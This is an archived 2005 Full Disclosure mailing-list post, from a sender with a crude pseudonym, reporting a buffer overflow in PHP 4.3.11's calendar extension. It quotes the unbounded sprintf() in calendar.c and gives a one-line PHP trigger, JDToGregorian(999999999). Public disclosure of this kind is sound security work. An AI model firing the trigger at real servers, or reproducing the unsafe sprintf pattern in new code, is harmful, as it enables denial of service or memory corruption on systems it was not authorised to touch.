Full Disclosure mailing list archives

PHP: Calendar Buffer Overflow

From: "FistFucker" <FistFuXXer () gmx de>
Date: Mon, 27 Jun 2005 06:34:15 +0200

There are some nice sprintf()'s in "\ext\calendar\calendar.c":
'sprintf(date, "%i/%i/%i", month, day, year);'

Example exploitation (4.3.11):


<?php

 JDToGregorian(999999999);

?>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread:

PHP: Calendar Buffer Overflow FistFucker (Jun 26)
- Re: PHP: Calendar Buffer Overflow FistFucker (Jun 27)
  - Re: PHP: Calendar Buffer Overflow Martin Pitt (Jun 28)
    - Re: PHP: Calendar Buffer Overflow Stefan Esser (Jun 28)